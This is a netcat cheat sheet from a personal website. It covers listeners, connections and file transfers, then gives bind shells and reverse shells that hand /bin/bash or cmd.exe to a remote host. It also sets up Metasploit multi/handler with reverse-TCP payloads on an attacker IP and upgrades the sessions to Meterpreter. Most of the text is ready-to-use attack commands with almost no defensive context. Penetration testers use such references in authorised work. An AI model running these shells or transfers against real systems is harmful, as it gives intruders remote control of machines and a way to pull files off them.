Tamar Everson | www.tamareverson.com
Netcat Cheatsheet
07 February 2026

Note: These commands can be used with `netcat`, `ncat`, or `nc`, depending on the tooling available. Replace `nc` accordingly.

Netcat listener

```
nc -l -p {port}
```

This will open a netcat listener to listen for connections on the specified port, and print the request data to the terminal.

Netcat connect

```
nc {targetIP} {port}
```

This will connect to the specified port on the target listed.

File transfer: Push from client to listener

```
nc -l -p {port} > {fileOutput}
```

This will listen on the specified port and store the results in the file specified

File transfer: Push from client to listener

```
nc -w3 {targetIP} {port} < {fileInput}
```

This will push the specified file to the specified target IP and port.

File transfer: Pull file from listener to client

```
nc -l -p {port} < {fileInput}
```

This will feed the specified file from the listener to the client

File transfer: Pull file from listener to client

```
nc -w3 {targetIP} {port} > {fileOutput}
```

This will pull the received file to the specified target file

Shell (Linux Listener)

```
nc -l -p {port} -e /bin/bash
```

Executes the received commands using bash

Shell (Windows Listener)

```
nc -l -p {port} -e cmd.exe
```

Executes the received commands using windows command shell

Reverse Shell (Linux Target)

```
nc {targetIP} {port} -e /bin/bash
```

Starts a reverse bash shell which will connect back to the specified IP and port

Reverse Shell (Windows Target)

```
nc {targetIP} {port} -e cmd.exe
```

Starts a reverse cmd shell which will connect back to the specified IP and port

Metasploit nc Listener (Windows Target)

```
$ msfconsole
msf> use exploit/multi/handler
msf> set payload windows/x64/shell_reverse_tcp
msf> set LHOST {attackerIP}
msf> set LPORT {port}
msf> run
```

Sets up a Metasploit nc listener.

Metasploit nc Listener (Linux Target)

```
$ msfconsole
msf> use exploit/multi/handler
msf> set payload linux/x64/shell_reverse_tcp
msf> set LHOST {attackerIP}
msf> set LPORT {port}
msf> run
```

Sets up a Metasploit nc listener.

Upgrade Metasploit nc Listener to Meterpreter

```
msf> sessions -u {sessionId}

OR

msf> background
msf> use post/multi/manage/shell_to_meterpreter
msf> set SESSION {sessionID}
msf> run
```

Upgrades a nc listener to a meterpreter session.